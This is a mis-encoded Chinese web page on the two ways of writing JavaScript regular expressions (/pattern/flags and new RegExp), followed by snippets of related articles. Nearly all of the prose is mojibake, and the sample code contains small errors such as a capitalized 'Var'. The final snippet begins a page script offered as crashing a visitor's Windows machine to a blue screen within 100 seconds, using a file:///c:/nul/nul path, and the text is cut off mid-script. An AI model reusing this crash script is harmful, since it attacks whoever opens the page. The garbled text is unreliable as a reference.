JavaScript ÕýÔò±í´ïʽÁ½ÖÖʹÓ÷½Ê½µÄÇø±ð
¹ØÓÚ
JavaScript
ÕýÔò±í´ï¶ÔÏóµÄʹÓã¬Æä²Î¿¼ÊÖ²á½éÉÜÈçÏ£º
Óï·¨ 1
re = /
pattern
/
[flags
]
Óï·¨ 2
re = new RegExp("
pattern
",
["
flags
"
])
²ÎÊý
re
±ØÑ¡Ïî¡£½«Òª¸³ÖµÎªÕýÔò±í´ïʽģʽµÄ±äÁ¿Ãû¡£
Pattern
±ØÑ¡ÏҪʹÓõÄÕýÔò±í´ïʽģʽ¡£Èç¹ûʹÓÃÓï·¨ 1
£¬Óà "/"
×Ö·û·Ö¸ôģʽ¡£Èç¹ûÓÃÓï·¨ 2
£¬ÓÃÒýºÅ½«Ä£Ê½ÒýÆðÀ´¡£
flags
¿ÉÑ¡Ïî¡£Èç¹ûʹÓÃÓï·¨ 2
ÒªÓÃÒýºÅ½« flag
ÒýÆðÀ´¡£±êÖ¾¿ÉÒÔ×éºÏʹÓ㬿ÉÓõÄÓУº
g
£¨È«ÎIJéÕÒ³öÏÖµÄËùÓÐ pattern
£©
i
£¨ºöÂÔ´óСд£©
m
£¨¶àÐвéÕÒ£©
ʾÀý£ºÈ¥µô×Ö·û´®
”aaa/bb/cc”
ÖзǓ
/
”×Ö·û
Óï·¨
1
ʹÓ÷½Ê½£º
Var srcStr = “aaa/bb/cc”;
srcStr.replace(/[^/]*/g,"");
Óï·¨
2
ʹÓ÷½Ê½£º
var re = new
RegExp("[^/]","g");
var srcStr = srcStr.replace(re,"");
ÓÉÓÚ
//
·½Ê½£¬ÕýÔòÊÇÒ»¸öÕûÌ壬ÎÞ·¨¼ÓÈë±äÁ¿¡£ËùÒÔÈç¹ûÎÒÃÇÐè¼ÓÈë±äÁ¿Ö»ÄÜÓÃÓï·¨
2
µÄ·½Ê½¡£¾ßÌåʹÓÃÈçÏ£º
Var mSplitString = “/”;
var re = new
RegExp("[^"+mSplitString+"]","g");
var str = srcStr.replace(re,"");
Ïà¹ØÎĵµ£º
JavaScriptÑéÖ¤ÕýÔò±í´ïʽ´óÈ«
JavaScriptÑéÖ¤ÕýÔò±í´ïʽ´óÈ«,ËѼ¯×îÈ«µÄJavaScriptÑéÖ¤ÕýÔò±í´ïʽ,¿ªÊ¼²é¿´°É£¬ÕâÀïµÄ¶¼ÊÇÕýÔò±í´ïʽµÄÀý×Ó£¬¾ßÌåºÍº¯Êý½áºÏµÄʹÓ÷½·¨£¬»¹Çë²é¿´ÏÂÆªÎÄÕ¡¶JavaScriptʹÓÃÕýÔò±í´ïʽ½øÐÐÑéÖ¤
¡·
Æ¥ÅäÖÐÎÄ×Ö·ûµÄÕýÔò±í´ïʽ£º [u4e00-u9fa5]
ÆÀ×¢£ºÆ¥ÅäÖÐÎÄ»¹ÕæÊǸöÍ·ÌÛµÄÊ£¬ÓÐÁËÕâ¸ö ......
ÿһÏî¶¼ÊÇjsÖеÄС¼¼ÇÉ£¬µ«Ê®·ÖµÄʵÓã¡
1.document.write(""); Êä³öÓï¾ä
2.JSÖеÄ×¢ÊÍΪ//
3.´«Í³µÄHTMLÎĵµË³ÐòÊÇ:document->html->(head,body)
4.Ò»¸öä¯ÀÀÆ÷´°¿ÚÖеÄDOM˳ÐòÊÇ:window->(navigator,screen,history,location,document)
5.µÃµ½±íµ¥ÖÐÔªËØµÄÃû³ÆºÍÖµ:document.getElementById("±íµ¥ÖÐÔªËØµÄ ......
ÔÎĵØÖ·£ºhttp://developer.51cto.com/art/201002/185161.htm
JavaScriptÊÇÒ»Öֹ㷺ÓÃÓÚ¿Í»§¶ËWeb¿ª·¢µÄ½Å±¾ÓïÑÔ£¬Æä¿ÉËãÊÇÊÀ½çÉÏ×îÁ÷Ðеıà³ÌÓïÑÔ£¬ËüÔø±»Web¿ª·¢Éè¼ÆÊ¦ÌùÉÏØ¬ÃεıêÇ©£¬ËäÈ»ÕæÕýµÄجÃÎÆäʵÊÇDOM API£¬Ò²Ôø¾ÓÐÈËÈÏΪJavaScriptÓï·¨ÖÐÓкܶàÏÝÚ壬ͬʱÆäÒ²ÓкܶàÈÃÈ˷ѽâµÄ¶«Î÷¡£
1. ËüÒÔJavaÃüÃû£¬µ«²¢ ......
µÚ8ÕÂ ·½·¨
JavaScript°üº¬ÁËÉÙÁ¿¿ÉÓÃÔÚ±ê×¼ÀàÐÍÉϵıê×¼·½·¨¡£
Array
array.concat(item…)
concat·½·¨·µ»ØÒ»¸öÐÂÊý×飬Ëü°üº¬arrayµÄdz¸´ÖÆ(shallow copy)²¢½«1¸ö»ò¶à¸ö²ÎÊýitem¸½¼ÓÔÚÆäºó¡£Èç¹û²ÎÊýitemÊÇÒ»¸öÊý×飬ÄÇôËüµÄÿ¸öÔªËØ»á±»·Ö±ðÌí¼Ó¡£´ËÍ⣬Çë²Î¼û±¾ÕºóÃæµÄarray.push(item…)·½·¨¡ ......
¡¾£¡ÉùÃ÷£º´Ë³ÌÐòÖ»¹©Ñо¿Ê¹Óã¬ÈçÓÃ×ö²»Õýµ±ÓÃ;ºó¹û×Ô¸º¡¿
100ÃëÄÚÀ¶ÆÁËÀ»úµÄJavascript½Å±¾Ô´´úÂë
Òý×Ô:http://www.webdeveloping.cn/blog/?action=show&id=78
<html>
<head>
<script LANGUAGE="javascript">
¡¡¡¡function leave() {
window.open(file:///c:/nul/nul,,toolbar=no,menub ......